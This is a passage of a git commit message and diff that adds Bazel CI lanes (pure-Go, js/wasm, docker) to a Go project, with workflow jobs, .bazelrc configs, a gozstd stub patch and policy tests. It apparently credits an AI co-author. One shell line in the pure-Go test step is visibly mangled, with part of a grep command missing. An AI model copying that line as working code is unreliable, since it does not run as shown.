js/wasm) + bd artifact (#6887) * test(bazel): require exclude read-permission coverage in test:prcore pr.yml's PR Core step sets BEADS_TEST_REQUIRE_EXCLUDE_PERMISSION=1 so TestAddExcludePatternsRefusesReadErrors fails, rather than skips, on a root or non-POSIX executor. test:prcore now sets it too, and a policy test keeps the two in step. Co-Authored-By: Claude Opus 5.5 (1M context) * feat(bazel): compare Bazel runs with one CI job's go test results equivalence.py --job takes a job's `go test -json` as the complete expected set, so a Bazel selection can be shown to replace that job: every top-level test the job ran must run under Bazel, no other test in those packages may, and nothing the job passed may be skipped. --bep is repeatable (a job can map to --config=ci plus --config=docker), and go_test_variant.sh sh_tests count, since their go_test binary writes the same test.xml. In job mode a test seen in several targets keeps its best status: the prcore run skips what the docker variant exists to run. Co-Authored-By: Claude Opus 5.5 (1M context) * test(bazel): docker-lane variant for internal/tracker pr.yml's "Test (storage domain + uow)" job runs ./internal/tracker/... with -race and without -short or BEADS_TEST_SKIP=dolt, so tracker's TestMain starts the shared dolt container and all 112 top-level tests run. Under --config=prcore they skip. tracker_docker_test reruns tracker_test that way in the docker lane, and tracker's TestMain now fails instead of skipping when BEADS_TEST_REQUIRE_DOLT_CONTAINER=1 and the container does not start. The job's other packages (storage/domain, domain/fs, domain/git, tracker/conformance) consult neither testing.Short nor the dolt skip, and pass identically under --config=ci. Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): publish the Bazel-built bd as a ci-build-artifacts artifact pr.yml's build-artifacts job uploads ci-build-artifacts (bd-linux-gms-pure, SHA256SUMS, build-manifest.txt), which PR Core, the domain+uow job and both package gates download and check with `sha256sum -c`. The Bazel lane now uploads the same name and layout from //cmd/bd:bd_for_tests, the non-race gms_pure_go cgo bd its own tests exec (//cmd/bd:bd is race-built under --config=ci); test:ci downloads it under --remote_download_minimal. No consumer is repointed yet. A rules_go binary has no vcs.* or CGO_ENABLED build settings: `bd version` shows no commit, and scripts/verify-cgo.sh would pass it vacuously. No consumer of this artifact reads either; the manifest records the commit. Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): pure-Go and js/wasm lane for pr.yml's boundary job pr.yml's "Check pure-Go and js/wasm boundaries (CGO_ENABLED=0)" job builds bd and three test binaries with CGO off, runs a 16-name -short cmd/bd subset, and runs the js/wasm hook refusal test under node with an exact count guard. bazel.yml's new bazel-pure job does the same with Bazel binaries: - --config=pure (--@rules_go//go/config:pure, -test.short) builds //cmd/bd:bd, bd_test, embeddeddolt_test and tracker_test, and runs bd_test unsharded with the job's -run selector (policy-tested to stay equal to pr.yml's). - --config=js-wasm builds //internal/hooks:hooks_test for js/wasm (--use_target_platform_for_tests satisfies the test toolchain; nothing is tested by Bazel under it); the Go SDK's go_js_wasm_exec runs it under node with pr.yml's selector and count guard, verbatim. rules_go compiles every declared dep, and gazelle's deps ignore the cgo constraint of beads' embedded-Dolt files, so a pure build compiled dolt's store/nbs and failed in github.com/dolthub/gozstd (cgo only; go build never imports it with CGO_ENABLED=0). third_party/patches/gozstd_nocgo.patch adds panicking !cgo stubs for the API dolt uses. Co-Authored-By: Claude Opus 5.5 (1M context) * test(bazel): run prcore tests with -test.parallel=4 like pr-core.sh pr-core.sh runs go test -parallel 4. test:prcore passed no -test.parallel, so Go defaulted to GOMAXPROCS: the executor's core count (192 on a farm worker) instead of a runner's 4, which let dozens of t.Parallel bd subprocesses run at once. A policy test keeps the value equal to pr-core.sh's GO_TEST_PARALLEL default. Co-Authored-By: Claude Opus 5.5 (1M context) * test(bazel): -test.parallel=4 in the pure lane pr.yml's pure-Go job passes no -parallel, so go test uses GOMAXPROCS, 4 on ubuntu-latest; under Bazel the default would be the executor's core count. Co-Authored-By: Claude Opus 5.5 (1M context) * test(bazel): run the contract corpus non-race in the docker lane pr.yml's Contract corpus job runs go test ./cmd/bd/protocol without -race, but --config=docker races every target. protocol_docker_test now runs :protocol_race_off, protocol_test built through a race=false transition (tools/bazel/race.bzl), so no second go_test rule has to track gazelle's srcs. Tagged manual so other lanes do not build it; the extra non-race work is protocol_test's link plus ~100 test-only libraries. The docker lane also mirrors the jobs' concurrency now: they pass no -p or -parallel, so go test uses GOMAXPROCS, 4 on ubuntu-latest, for both; the lane runs at most 4 test processes (so at most 4 dolt containers start at once) with -test.parallel=4. It writes -test.v test.xml like test:ci, for equivalence.py. Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): run the docker lane in bazel.yml New advisory job bazel-docker runs `bazel test //... --config=docker` on ubuntu-latest after pre-pulling the dolt image like pr.yml's container jobs. The requires-docker variants (domain/db, uow, tracker, doctor/fix, protocol) run on the runner against its docker daemon (no-remote-exec); their builds use remote execution when setup-bazel configured it. With bazel-test's --config=ci this covers "Test (storage domain + uow)" and "Contract corpus". The lane name is one env var, so a hermetic dolt-server lane can replace it. Policy tests now cover every bazel.yml job: an exact job list, timeouts, no continue-on-error, pinned actions (setup-node added), one setup-bazel step per job as the only secret reader, cache saves only in bazel-test, plus job-specific mirrors of pr.yml (the docker job's runner, image pull and lane; a requires-docker target in each container-backed package). Co-Authored-By: Claude Opus 5.5 (1M context) * perf(bazel): build the non-race contract corpus in bd_for_tests' configuration go_test_race_off only set race=false, while rules_go's go_transition (as used by //cmd/bd:bd_for_tests, race = "off") also records the overridden value in original_race. The two non-race configurations differed, so the docker lane (and --config=ci, which builds protocol_docker_test through //...) compiled the whole dolt graph twice without race. Record original_race the same way: aquery GoCompilePkg for deps(protocol_docker_test) under race drops from ~2630 actions in two configurations to 1359 in one. Fix the BUILD comment: manual does not keep protocol_race_off out of other lanes' builds; protocol_docker_test pulls it in. Co-Authored-By: Claude Opus 5.5 (1M context) * fix(bazel): job-mode equivalence fails on any target's failure or missing test.xml In --job mode a test seen in several targets keeps its best status, so a failure in one variant was hidden when another target passed the test, and a go_test_variant.sh sh_test without a test.xml was skipped silently. List every failed test per target and every target in the job's packages whose test.xml is missing, and fail on either. Co-Authored-By: Claude Opus 5.5 (1M context) * fix(bazel): gate pure-lane contamination, never cache docker-lane results - gozstd_nocgo.patch: the stubs' package init panics, so a pure binary that links gozstd (which CGO_ENABLED=0 go build rejects at compile time) fails at startup. bazel-pure starts every pure artifact (bd version, and embeddeddolt_test/tracker_test with -test.run=^$; bd_test runs its subset) so contamination fails the lane. - test:docker --nocache_test_results: the requires-docker variants depend on host state no action key covers, like the container jobs' -count=1. build:remote-exec --noremote_upload_local_results in the committed rc, so local runs cannot seed the shared cache with host-dependent results. - The artifact packaging moves to scripts/ci/package-bazel-bd.sh, which sources .buildflags itself; sourcing it in bazel.yml exempted the whole workflow from the build-tag scan. - bazel-pure and bazel-docker use bazel-test's runs-on (Blacksmith when remote execution is possible); the policy test pins it for every job. Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): put the pure and docker lanes behind the rbe-west gate Apply bazel-test's rbe-west setup-bazel env (RBE_WEST_EXECUTOR, instance oss, RBE_WEST_WORKERS) and its job if to bazel-pure and bazel-docker, so same-repo runs of all three lanes skip together until the variable is set and forks and rbe=off dispatches still run locally. The policy test pins runs-on, if and the setup-bazel env for every bazel.yml job. Co-Authored-By: Claude Opus 5.5 (1M context) * fix(ci): run the js/wasm hook test with a minimal environment wasm_exec.js caps argv+env size, and the Blacksmith runner's environment exceeds it ("total length of command line and environment variables exceeds limit"). Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Claude Opus 5.5 (1M context) --- .bazelrc | 57 +++++- .github/workflows/bazel.yml | 196 ++++++++++++++++++- MODULE.bazel | 7 + cmd/bd/protocol/BUILD.bazel | 36 +++- internal/tracker/BUILD.bazel | 24 +++ internal/tracker/testmain_test.go | 4 + scripts/bazel_policy_test.go | 53 ++++- scripts/ci/package-bazel-bd.sh | 39 ++++ scripts/ci_workflow_test.go | 255 +++++++++++++++++++++++-- third_party/patches/BUILD.bazel | 5 + third_party/patches/gozstd_nocgo.patch | 69 +++++++ tools/bazel/equivalence.py | 108 +++++++++-- tools/bazel/race.bzl | 55 ++++++ 13 files changed, 857 insertions(+), 51 deletions(-) create mode 100755 scripts/ci/package-bazel-bd.sh create mode 100644 third_party/patches/gozstd_nocgo.patch create mode 100644 tools/bazel/race.bzl diff --git a/.bazelrc b/.bazelrc index e4bb7e55a..d4b60610e 100644 --- a/.bazelrc +++ b/.bazelrc @@ -26,8 +26,14 @@ test --test_env=BD_DISABLE_EVENT_FLUSH=1 # -short, skips, tag filters); the environment comes from the wrapper above. test:prcore --@rules_go//go/config:race test:prcore --test_arg=-test.short +# pr-core.sh's -parallel 4. Without it -test.parallel defaults to GOMAXPROCS, +# the executor's core count (192 on a farm worker), not a runner's 4. +test:prcore --test_arg=-test.parallel=4 test:prcore --test_arg=-test.skip=^TestEmbedded test:prcore --test_env=BEADS_TEST_SKIP=dolt +# As in pr.yml's PR Core step: a root or non-POSIX executor fails +# TestAddExcludePatternsRefusesReadErrors instead of skipping it. +test:prcore --test_env=BEADS_TEST_REQUIRE_EXCLUDE_PERMISSION=1 test:prcore --test_tag_filters=-requires-docker,-embedded,-manual test:ci --config=prcore @@ -38,16 +44,55 @@ test:ci --keep_going --test_summary=terse # test.xml on the remote side, so ask for both. test:ci --test_env=GO_TEST_WRAP_TESTV=1 test:ci --remote_download_regex=.*/test\.xml$ +# bazel.yml publishes the non-race bd as pr.yml's ci-build-artifacts. +test:ci --remote_download_regex=.*/bin/cmd/bd/bd_for_tests/bd$ # Docker lane: only the requires-docker targets (pr.yml's container-backed -# jobs), on a host with a docker daemon. Race like those jobs, but no -short -# and no BEADS_TEST_SKIP=dolt, which would keep the containers from starting. -# Those targets are also tagged no-remote-exec, so they run on the host even -# with --config=remote-exec. +# jobs "Test (storage domain + uow)" and "Contract corpus"), on a host with a +# docker daemon. Race like the domain+uow job (//cmd/bd/protocol's variant +# opts out, like the non-race Contract corpus job), but no -short and no +# BEADS_TEST_SKIP=dolt, which would keep the containers from starting. Those +# targets are also tagged no-remote-exec, so they run on the host even with +# --config=remote-exec; their builds may still run remotely. -test.v in +# test.xml, as in test:ci, lets equivalence.py see which tests ran. test:docker --@rules_go//go/config:race test:docker --test_tag_filters=requires-docker test:docker --build_tests_only test:docker --keep_going +test:docker --test_env=GO_TEST_WRAP_TESTV=1 +# Those jobs pass no -p/-parallel, so go test uses GOMAXPROCS, ubuntu-latest's +# 4 vCPUs, for both. Match that on any host: 4 test processes (hence at most +# 4 dolt containers starting at once) and -test.parallel=4. +test:docker --local_test_jobs=4 +test:docker --test_arg=-test.parallel=4 +# The variants depend on host state no action key sees (the docker daemon, +# the pulled dolt image, the network), so a cached result proves nothing about +# this host: always run them, like the jobs' `go test -count=1`. +test:docker --nocache_test_results + +# Pure-Go lane: pr.yml's "Check pure-Go and js/wasm boundaries +# (CGO_ENABLED=0)" job. CGO is off for every Go target (rules_go drops +# cgo-constrained files like go build does; third_party/patches/ +# gozstd_nocgo.patch lets dolt's store/nbs, an unused but declared dep, +# compile; its package init panics, so a pure binary that links it fails when +# run). bazel.yml builds bd and the job's pure test binaries, runs each of +# them once (the contamination check `go build` does at compile time) and runs +# its -short cmd/bd subset. +build:pure --@rules_go//go/config:pure +test:pure --test_arg=-test.short +# The job passes no -parallel: GOMAXPROCS on a 4-vCPU runner. +test:pure --test_arg=-test.parallel=4 +test:pure --test_env=GO_TEST_WRAP_TESTV=1 +test:pure --remote_download_regex=.*/test\.xml$ + +# js/wasm hook boundary (same job): build for GOOS=js GOARCH=wasm. Bazel +# cannot run the wasm test binary itself; bazel.yml runs it with the Go SDK's +# go_js_wasm_exec (node), like `go test -exec`. The test toolchain needs an +# exec platform matching the target platform, hence +# --use_target_platform_for_tests (no test action runs under this config). +build:js-wasm --platforms=@rules_go//go/toolchain:js_wasm +build:js-wasm --use_target_platform_for_tests +build:js-wasm --remote_download_outputs=toplevel # Remote execution against any REAPI-compatible service. Only generic tuning # lives here; the executor endpoint and TLS credentials are never committed. @@ -57,6 +102,10 @@ build:remote-exec --jobs=64 build:remote-exec --remote_download_minimal build:remote-exec --remote_timeout=600 build:remote-exec --remote_retries=3 +# Upload only remotely executed results. A locally executed action (a +# no-remote-exec test, a host-dependent docker-lane result) must not seed the +# shared cache that CI and every other developer read. +build:remote-exec --noremote_upload_local_results try-import %workspace%/.bazelrc.local try-import %workspace%/user.bazelrc diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index 5b8177056..37531fb0e 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -23,7 +23,8 @@ # write the runner cache. In place: secrets are referenced by the setup step # alone and never by a workflow- or job-level env (policy-tested), decoded key # material is masked in logs, and CI uploads only remotely executed results -# (--noremote_upload_local_results in the generated rc), and the certificate +# (--noremote_upload_local_results in .bazelrc's remote-exec config and in +# the generated rc), and the certificate # is issued to beads CI alone, so it can be revoked without affecting other # clients. Maintainers decided (2026-09-28) that same-repo PRs keep remote # execution under this model. Still open: a beads-only RBE_INSTANCE and @@ -173,6 +174,25 @@ jobs: echo >> "$GITHUB_STEP_SUMMARY" exit "$rc" + # pr.yml's build-artifacts job, built by Bazel: the same artifact name + # and layout (bd-linux-gms-pure, SHA256SUMS, build-manifest.txt), so its + # consumers (PR Core, domain+uow, the package gates) can switch to it. + # None does yet. The script documents which binary and how it differs + # from `go build`'s. + - name: Package bd (ci-build-artifacts layout) + id: bd-artifact + if: ${{ always() && steps.test.outcome != 'skipped' }} + run: ./scripts/ci/package-bazel-bd.sh "$RUNNER_TEMP/bd-artifacts" + + - name: Upload build artifacts + if: ${{ always() && steps.bd-artifact.outcome == 'success' }} + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + name: ci-build-artifacts + path: ${{ runner.temp }}/bd-artifacts/ + retention-days: 1 + if-no-files-found: error + - name: Critical-path report if: ${{ always() && steps.test.outcome != 'skipped' }} env: @@ -248,3 +268,177 @@ jobs: with: path: ${{ runner.temp }}/bazel-ci-cache key: bazel-repo-v2-${{ runner.os }}-${{ hashFiles('.bazelversion', 'MODULE.bazel.lock') }} + + # pr.yml's check-cmd-bd-puregeo-tests job ("Check pure-Go and js/wasm + # boundaries (CGO_ENABLED=0)") with Bazel-built binaries: --config=pure + # builds bd and the job's three pure test binaries and runs its -short + # cmd/bd subset (PURE_CMD_BD_TESTS, kept equal to the job's -run selector by + # scripts/ci_workflow_test.go); --config=js-wasm builds the hooks test for + # js/wasm, which the Go SDK's go_js_wasm_exec runs under node with the job's + # exact pass-count guard. + bazel-pure: + name: Bazel / pure-Go and js/wasm (advisory) + # Same runner, rbe-west gate and skip rule as bazel-test. + runs-on: ${{ (inputs.rbe || 'on') != 'off' && github.event.pull_request.head.repo.fork != true && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} + if: ${{ vars.RBE_WEST_WORKERS == 'true' || inputs.rbe == 'off' || github.event.pull_request.head.repo.fork == true }} + timeout-minutes: 90 + env: + PURE_CMD_BD_TESTS: '^Test(Help|CheckRemoteSafety|FormatDestroyToken|ShouldWireInitRemote|ExtractPrefix|IsNumericID|GetWorktreeGitDir|DriftItemStatuses|RunDriftChecks|IsServerProbablyRunning|CheckHooksDriftNotGitRepo|CheckServerDriftNoBeadsDir|CheckRemoteDriftNoBeadsDir|NocgoFactoriesHonorSharedServer|NocgoNewDoltStoreFromConfig_ErrorSuggestsCorrectFlag|NocgoNewReadOnlyStoreFromConfig_ErrorSuggestsCorrectFlag)' + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 + + # Only for go_js_wasm_exec and wasm_exec_node.js, which must match the + # Go version Bazel compiles with (go.mod's; policy-tested). + - name: Set up Go + uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 + with: + go-version-file: 'go.mod' + cache: false + + - name: Set up Node.js + uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v6 + with: + node-version: '24' + + - name: Set up Bazel + id: bazel + uses: ./.github/actions/setup-bazel + env: + BAZEL_REMOTE_EXECUTOR: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && secrets.RBE_WEST_EXECUTOR || '' }} + RBE_TLS_CERT: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && secrets.RBE_TLS_CERT || '' }} + RBE_TLS_KEY: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && secrets.RBE_TLS_KEY || '' }} + RBE_TLS_CA: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && secrets.RBE_TLS_CA || '' }} + RBE_INSTANCE: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && 'oss' || '' }} + + - name: Run js/wasm hook boundary + run: | + set -euo pipefail + bazel build --config=js-wasm //internal/hooks:hooks_test + bin="$(bazel cquery --config=js-wasm --output=files //internal/hooks:hooks_test)" + cd internal/hooks + + # Same selector and count guard as pr.yml's job. + test_status=0 + # wasm_exec.js caps argv+env size; the Blacksmith runner's environment + # exceeds it, so run with only what the hook test needs. + wasm_exec="$(go env GOROOT)/lib/wasm/go_js_wasm_exec" + test_output="$(env -i PATH="$PATH" HOME="$HOME" TMPDIR="$RUNNER_TEMP" \ + BD_DISABLE_METRICS=1 BD_DISABLE_EVENT_FLUSH=1 \ + "$wasm_exec" "$GITHUB_WORKSPACE/$bin" \ + -test.run '^TestRunHookReportsUnsupportedExecution$' \ + -test.v 2>&1)" || test_status=$? + printf '%s\n' "$test_output" + (( test_status == 0 )) || exit "$test_status" + + run_count=0 + pass_count=0 + nonpass_count=0 + pass_pattern='^--- PASS: TestRunHookReportsUnsupportedExecution \([0-9.]+s\)$' + nonpass_pattern='^[[:space:]]*--- (FAIL|SKIP): ' + while IFS= read -r line; do + if [[ "$line" == "=== RUN TestRunHookReportsUnsupportedExecution" ]]; then + ((run_count += 1)) + fi + if [[ "$line" =~ $pass_pattern ]]; then + ((pass_count += 1)) + fi + if [[ "$line" =~ $nonpass_pattern ]]; then + ((nonpass_count += 1)) + fi + done <<< "$test_output" + if (( run_count != 1 || pass_count != 1 || nonpass_count != 0 )); then + printf 'expected one exact js/wasm hook test run and pass with no failures or skips; got runs=%s passes=%s nonpasses=%s\n' \ + "$run_count" "$pass_count" "$nonpass_count" >&2 + exit 1 + fi + + - name: Build cmd/bd and pure-Go test binaries (--config=pure) + run: >- + bazel build --config=pure + //cmd/bd:bd + //cmd/bd:bd_test + //internal/storage/embeddeddolt:embeddeddolt_test + //internal/tracker:tracker_test + + # `go build` with CGO_ENABLED=0 rejects a pure binary whose imports reach + # dolt's cgo-only store/nbs (gozstd). Bazel compiles gozstd's pure stubs + # instead, whose init panics (third_party/patches/gozstd_nocgo.patch), so + # the check happens here: every pure artifact is started once. bd_test + # starts in the next step. -test.run=^$ runs no test (TestMain still + # runs; BEADS_TEST_SKIP=dolt keeps tracker's from starting a container). + - name: Start every pure-Go artifact (gozstd contamination check) + run: | + set -euo pipefail + bazel run --config=pure //cmd/bd:bd -- version + bazel test --config=pure \ + //internal/storage/embeddeddolt:embeddeddolt_test \ + //internal/tracker:tracker_test \ + --test_sharding_strategy=disabled \ + '--test_arg=-test.run=^$' \ + --test_env=BEADS_TEST_SKIP=dolt + + # One unsharded process, like `go test -run`; the test.xml check keeps a + # selector that matches nothing from passing. + - name: Run pure-Go cmd/bd test subset (--config=pure) + run: | + set -euo pipefail + bazel test --config=pure //cmd/bd:bd_test \ + --test_sharding_strategy=disabled \ + "--test_arg=-test.run=$PURE_CMD_BD_TESTS" + n="$(grep -c ' 0 )) + + # pr.yml's container-backed jobs, "Test (storage domain + uow)" and + # "Contract corpus", as Bazel's docker lane: --config=docker runs the + # requires-docker variants (domain/db, uow, tracker, doctor/fix, protocol) + # on this runner against its docker daemon (they are no-remote-exec); + # builds still execute remotely when configured. The other packages of the + # domain+uow job pass identically under bazel-test's --config=ci. The lane + # is named in one variable, so a hermetic dolt-server lane can replace it. + bazel-docker: + name: Bazel / docker lane (advisory) + # Same runner, rbe-west gate and skip rule as bazel-test. + runs-on: ${{ (inputs.rbe || 'on') != 'off' && github.event.pull_request.head.repo.fork != true && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} + if: ${{ vars.RBE_WEST_WORKERS == 'true' || inputs.rbe == 'off' || github.event.pull_request.head.repo.fork == true }} + timeout-minutes: 90 + env: + BAZEL_DOCKER_LANE: docker + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 + + - name: Set up Bazel + id: bazel + uses: ./.github/actions/setup-bazel + env: + BAZEL_REMOTE_EXECUTOR: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && secrets.RBE_WEST_EXECUTOR || '' }} + RBE_TLS_CERT: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && secrets.RBE_TLS_CERT || '' }} + RBE_TLS_KEY: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && secrets.RBE_TLS_KEY || '' }} + RBE_TLS_CA: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && secrets.RBE_TLS_CA || '' }} + RBE_INSTANCE: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && 'oss' || '' }} + + # As in the mirrored jobs; tests fail rather than skip without it. + - name: Pull Dolt sql-server image + run: ./scripts/ci/pull-dolt-image.sh + + - name: bazel test //... --config=docker + id: test + timeout-minutes: 80 + run: | + set -o pipefail + start=$(date +%s) + rc=0 + bazel test //... "--config=$BAZEL_DOCKER_LANE" 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? + echo "bazel test --config=$BAZEL_DOCKER_LANE: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" + exit "$rc" + + - name: Upload test logs + if: ${{ failure() && steps.test.outcome == 'failure' }} + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + name: bazel-docker-testlogs + path: | + bazel-testlogs/**/test.log + bazel-testlogs/**/test.xml + if-no-files-found: ignore + retention-days: 7 diff --git a/MODULE.bazel b/MODULE.bazel index ab97c4af1..560e84e24 100644 --- a/MODULE.bazel +++ b/MODULE.bazel @@ -43,6 +43,13 @@ go_deps.module_override( patches = ["//third_party/patches:dolt_go_serial.patch"], path = "github.com/dolthub/dolt/go", ) + +# Pure-Go stubs so --config=pure can compile dolt's store/nbs (see the patch). +go_deps.module_override( + patch_strip = 1, + patches = ["//third_party/patches:gozstd_nocgo.patch"], + path = "github.com/dolthub/gozstd", +) use_repo(go_deps, "com_github_anthropics_anthropic_sdk_go", "com_github_burntsushi_toml", "com_github_cenkalti_backoff_v4", "com_github_charmbracelet_x_ansi", "com_github_data_dog_go_sqlmock", "com_github_dolthub_dolt_go", "com_github_dolthub_driver_v2", "com_github_dolthub_eventkit", "com_github_dolthub_go_mysql_server", "com_github_go_sql_driver_mysql", "com_github_google_uuid", "com_github_gowebpki_jcs", "com_github_invopop_jsonschema", "com_github_johanneskaufmann_html_to_markdown_v2", "com_github_mattn_go_sqlite3", "com_github_microcosm_cc_bluemonday", "com_github_oapi_codegen_oapi_codegen_v2", "com_github_olebedev_when", "com_github_spf13_cobra", "com_github_spf13_pflag", "com_github_spf13_viper", "com_github_stretchr_testify", "com_github_subosito_gotenv", "com_github_testcontainers_testcontainers_go", "com_github_testcontainers_testcontainers_go_modules_dolt", "com_github_yuin_goldmark", "in_gopkg_yaml_v3", "io_opentelemetry_go_otel", "io_opentelemetry_go_otel_exporters_otlp_otlpmetric_otlpmetrichttp", "io_opentelemetry_go_otel_exporters_stdout_stdoutmetric", "io_opentelemetry_go_otel_exporters_stdout_stdouttrace", "io_opentelemetry_go_otel_metric", "io_opentelemetry_go_otel_sdk", "io_opentelemetry_go_otel_sdk_metric", "io_opentelemetry_go_otel_trace", "io_rsc_script", "land_charm_glamour_v2", "land_charm_huh_v2", "land_charm_lipgloss_v2", "org_golang_x_mod", "org_golang_x_net", "org_golang_x_sync", "org_golang_x_sys", "org_golang_x_term") # Hermetic Dolt CLI for tests (tools/bazel/dolt.bzl pins the release to diff --git a/cmd/bd/protocol/BUILD.bazel b/cmd/bd/protocol/BUILD.bazel index af19356a0..c53b22206 100644 --- a/cmd/bd/protocol/BUILD.bazel +++ b/cmd/bd/protocol/BUILD.bazel @@ -1,5 +1,6 @@ load("@rules_go//go:def.bzl", "go_library", "go_test") load("@rules_shell//shell:sh_test.bzl", "sh_test") +load("//tools/bazel:race.bzl", "go_test_race_off") go_library( name = "protocol", @@ -51,11 +52,32 @@ go_test( ], ) -# protocol_test as pr.yml's "Contract corpus" job runs it: TestMain starts a -# dolt sql-server container and BEADS_PROTOCOL_REQUIRE_DOLT=1 turns a missing -# container into a failure instead of a skip. It repeats protocol_test's `env` -# (go_test_variant.sh cannot inherit it). protocol_test itself stays untagged: -# under --config=prcore (BEADS_TEST_SKIP=dolt) its Dolt-backed tests skip. +# protocol_test without the race detector, which --config=docker otherwise +# turns on for every target: pr.yml's "Contract corpus" job runs +# `go test ./cmd/bd/protocol` without -race (PR Core covers the race build). +# Matching it is cheap: tools/bazel/race.bzl lands protocol_test's deps in +# the configuration the non-race //cmd/bd:bd_for_tests already builds them in, +# so the extra work is protocol_test's test-only libraries and one link. +# Racing it instead would also be acceptable (a race-only failure is a real +# bug); then drop this target and point protocol_docker_test back at +# :protocol_test. +# +# Tags: +# manual: only protocol_docker_test's input, never a build target of its +# own. `bazel test //...` in every lane still builds it through +# protocol_docker_test (a test tag filter does not stop the build). +go_test_race_off( + name = "protocol_race_off", + tags = ["manual"], + test = ":protocol_test", +) + +# protocol_test as pr.yml's "Contract corpus" job runs it: non-race, TestMain +# starts a dolt sql-server container and BEADS_PROTOCOL_REQUIRE_DOLT=1 turns a +# missing container into a failure instead of a skip. It repeats +# protocol_test's `env` (go_test_variant.sh cannot inherit it). protocol_test +# itself stays untagged: under --config=prcore (BEADS_TEST_SKIP=dolt) its +# Dolt-backed tests skip. # # Tags: # requires-docker: needs a docker daemon; excluded from --config=prcore/ci, @@ -65,9 +87,9 @@ sh_test( name = "protocol_docker_test", size = "large", srcs = ["//tools/bazel:go_test_variant.sh"], - args = ["$(rootpath :protocol_test)"], + args = ["$(rootpath :protocol_race_off)"], data = [ - ":protocol_test", + ":protocol_race_off", "//cmd/bd:bd_for_tests", ], env = { diff --git a/internal/tracker/BUILD.bazel b/internal/tracker/BUILD.bazel index a4decc1f1..4cec4b434 100644 --- a/internal/tracker/BUILD.bazel +++ b/internal/tracker/BUILD.bazel @@ -1,4 +1,5 @@ load("@rules_go//go:def.bzl", "go_library", "go_test") +load("@rules_shell//shell:sh_test.bzl", "sh_test") go_library( name = "tracker", @@ -58,3 +59,26 @@ go_test( "//internal/types", ], ) + +# tracker_test as pr.yml's "Test (storage domain + uow)" job runs it: no +# -short and no BEADS_TEST_SKIP=dolt, so TestMain starts the shared dolt +# sql-server container, and BEADS_TEST_REQUIRE_DOLT_CONTAINER=1 turns a missing +# container into a failure instead of a suite of skips. tracker_test itself +# stays untagged: under --config=prcore its Dolt-backed tests skip. +# +# Tags: +# requires-docker: needs a docker daemon; excluded from --config=prcore/ci, +# selected by --config=docker. +# no-remote-exec: the daemon is on the host, not on remote workers. +sh_test( + name = "tracker_docker_test", + size = "large", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = ["$(rootpath :tracker_test)"], + data = [":tracker_test"], + env = {"BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1"}, + tags = [ + "no-remote-exec", + "requires-docker", + ], +) diff --git a/internal/tracker/testmain_test.go b/internal/tracker/testmain_test.go index 82b090e91..4bf75441f 100644 --- a/internal/tracker/testmain_test.go +++ b/internal/tracker/testmain_test.go @@ -41,6 +41,10 @@ func testMainInner(m *testing.M) int { // AD-01 (be-c5p): allow tracker tests to connect to the test container. os.Setenv("BEADS_TEST_SERVER", "1") if err := testutil.EnsureDoltContainerForTestMain(); err != nil { + if os.Getenv(testutil.EnvRequireDoltContainer) == "1" { + fmt.Fprintf(os.Stderr, "FATAL: %v, but %s=1: this lane must not skip the Dolt tests\n", err, testutil.EnvRequireDoltContainer) + return 1 + } fmt.Fprintf(os.Stderr, "WARN: %v, skipping Dolt tests\n", err) } else { defer testutil.TerminateDoltContainer() diff --git a/scripts/bazel_policy_test.go b/scripts/bazel_policy_test.go index a674583d5..ce24186ce 100644 --- a/scripts/bazel_policy_test.go +++ b/scripts/bazel_policy_test.go @@ -676,7 +676,7 @@ var allowedBazelTestTags = map[string]string{ "no-remote-cache": "result depends on the host, so it is neither read from nor uploaded to the remote cache", "requires-docker": "needs a docker daemon; excluded from --config=prcore/ci, run by --config=docker", "embedded": "embedded-Dolt tier variant; its own config", - "manual": "repro/bench harness; never part of //...", + "manual": "never part of //...: a repro/bench harness, or a build input only another target needs", } // bazelTagsRequiring maps tags whose targets depend on the host to the tags @@ -885,3 +885,54 @@ func TestBazelrcPrcoreExcludesNonPRTags(t *testing.T) { } } } + +// TestBazelrcPrcoreRequiresExcludePermission keeps test:prcore in step with +// pr.yml's PR Core step (TestPRCoreRequiresExcludeReadPermissionCoverage): +// without the variable, TestAddExcludePatternsRefusesReadErrors skips on a +// root executor instead of failing. +func TestBazelrcPrcoreRequiresExcludePermission(t *testing.T) { + const want = "test:prcore --test_env=BEADS_TEST_REQUIRE_EXCLUDE_PERMISSION=1" + for _, line := range strings.Split(readPolicyFile(t, bazelPolicyRoot(t), ".bazelrc"), "\n") { + if strings.TrimSpace(line) == want { + return + } + } + 